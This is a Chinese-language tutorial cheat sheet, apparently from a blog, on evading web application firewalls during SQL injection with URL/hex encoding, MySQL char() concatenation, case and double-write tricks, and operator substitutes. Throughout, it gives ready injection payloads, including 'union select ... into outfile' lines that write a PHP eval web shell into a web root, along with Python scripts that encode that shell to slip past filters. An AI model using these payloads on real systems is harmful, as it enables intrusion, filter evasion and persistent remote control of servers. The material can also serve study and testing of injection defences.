SQL绕过

SQL 绕过

编码伪装

url编码(16进制ascii码)

python 复制代码
url 使用的是ascii码16进制
使用url编码尝试绕过waf

waf 不会解码  
后端 会解码
尝试用url编码 绕过waf的黑名单
perl 复制代码
1 -> %31
perl 复制代码
admin = 0x61646d696e = %61%64%6d%69%6e

"<?php @eval($_POST['cmd'])?>"
0x223c3f70687020406576616c28245f504f53545b27636d64275d293f3e22
%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3f%3e%22
python脚本实现
python 复制代码
def custom_url_encode(s):
    """
    自定义URL编码函数。

    将输入字符串中的每个字符转换为其对应的ASCII码的十六进制表示,并前缀百分号。

    参数:
    s(str): 需要编码的字符串。

    返回:
    str: 编码后的字符串。
    """
    result = ""
    for char in s:
        # 判断字符是否为字母数字字符,或者是否在保留字符列表中
        if char.isalnum() or char in ["_", ".", "~"]:
            # 对于字母数字字符和保留字符,直接将其转换为十六进制并添加到结果中
            hex_val = hex(ord(char))[2:].upper()
            result += f"%{hex_val}"
        else:
            # 对于其他字符,也将其转换为十六进制并添加到结果中
            hex_val = hex(ord(char))[2:].upper()
            result += f"%{hex_val}"
    return result


# 原始字符串,包含可能需要被编码的特殊字符
original_str = ''
# 调用自定义的URL编码函数对原始字符串进行编码
encoded_str = custom_url_encode(original_str)
# 打印编码后的字符串
print(encoded_str)

使用mysql的char函数代替字符串

char() 将十进制 ascii 码 转换为 字符

scss 复制代码
p -> 112  char(112)
less 复制代码
"<?php @eval($_POST['cmd'])?>"

?id=-211001 union select 1,2,3,4,"<?php @eval($_POST['cmd'])?>" into outfile("/tmp/ss.txt") --+

1' or 1=1 union select 1,2,concat(char(34),char(60),char(63),char(112),char(104),char(112),char(32),char(64),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(39),char(99),char(109),char(100),char(39),char(93),char(41),char(63),char(62),char(34)) into outfile "/opt/lampp/htdocs/fanyun/fanyun7.php" -- -
注意
lua 复制代码
使用 char 必须使用 concat拼接 整个 语句 不能 单独使用 
缺点:长度太长 容易被限制
python脚本实现
python 复制代码
def strtochar(string):
    char = "concat(\"\""
    for i in string:
        char += f",char({ord(i)})"#ascii码十进制
    char += ")"
    return char
if __name__ == '__main__':
    string = "<?php @eval($_POST['cmd'])?>"
    print(strtochar(string))
lua 复制代码
需要使用 concat 将字母连起来

Unicode编码

unicode 编码 使用的是 ascii编码10进制

在 MySQL、Oracle、SQL Server 等数据库中,可以使用 Unicode 数据类型(如 nvarchar、nchar 等)来存储 Unicode 编码的字符串。

bash 复制代码
1  ->   &#49;

大小写绕过(针对str_replace)

rust 复制代码
开发者可能只用了str_replease
没有使用str_ireplease
and -> And

双写绕过(针对替换为空)

ini 复制代码
$param = str_ireplace("and","",$param)
替换为空
使用

注释替换空格

ini 复制代码
$param = str_ireplace(" ","",$param)
/**/ -> %2F%2A%2A%2F

制表符替换空格

perl 复制代码
tab -> %09 

like in替换等号

sql 复制代码
1 like 1
'a' like 'a'
1 in (1)
'a' in ('a')
select database() regexp '^n'

比较符号替换

csharp 复制代码
select length(database()) between 9 and 10;

逻辑符号绕过

ini 复制代码
and/or/not/xor

and => &&
or => ||
not => !
xor => |

url编码绕过

在sql注入时,可能会出现一些关键字被程序员或是waf进行拦截,特别是一些eval,assert、php、get、post这样的关键字或者'。此时可以使用编码绕过的方式

十六进制或则其他编码代替字符串
perl 复制代码
php 自动解析 其它可以
admin = 0x61646d696e = %61%64%6d%69%6e
"<?php @eval($_POST['cmd'])?>"
0x223c3f70687020406576616c28245f504f53545b27636d64275d293f3e22
%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3f%3e%22

char函数绕过

less 复制代码
"<?php @eval($_POST['cmd'])?>"
concat(char(34),char(60),char(63),char(112),char(104),char(112),char(32),char(64),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(39),char(99),char(109),char(100),char(39),char(93),char(41),char(63),char(62),char(34))

python

less 复制代码
def strtochars(s):
    char = "concat("
    for i in s:
        char += f"char({ord(i)}), "
    # 清除最后一个 ,
    char = char[0:-2]
    char += f")"
    return char
if __name__ == '__main__':
    s = "\"<?php @eval($_POST['cmd'])?>\""
    print(strtochars(s))

常用函数绕过

scss 复制代码
hex(),bin()->
1 hex()、bin() = ascii()
2 sleep() = benchmark()
3 concat_ws() = group_concat()
4 mid()、substr() = substring()
5 @@user = user()
6 @@datadir = datadir()
相关推荐
菲兹园长1 小时前
表的设计(MYSQL)
数据库·mysql
Java Fans1 小时前
MySQL数据库常用命令大全(完整版——表格形式)
数据库·mysql
白萝卜弟弟1 小时前
【MySQL】MySQL函数之JSON_EXTRACT
数据库·mysql·json
gjh12081 小时前
MySQL常见面试题
数据库·mysql
我的K84092 小时前
Flink整合Hive、Mysql、Hbase、Kafka
hive·mysql·flink
little_kid_pea3 小时前
MySQL Workbench导入数据比mysql命令行慢
数据库·mysql
苹果醋33 小时前
C语言 strlen 函数 - C语言零基础入门教程
java·运维·spring boot·mysql·nginx
爪哇学长4 小时前
解锁数据世界:从基础到精通的数据库探索之旅
数据库·mysql·oracle
码哥字节4 小时前
重生之从零设计 MySQL 架构
数据库·mysql·架构
地图之家家长9 小时前
19.(开发工具篇mysql库)mysql锁表问题解决
数据库·mysql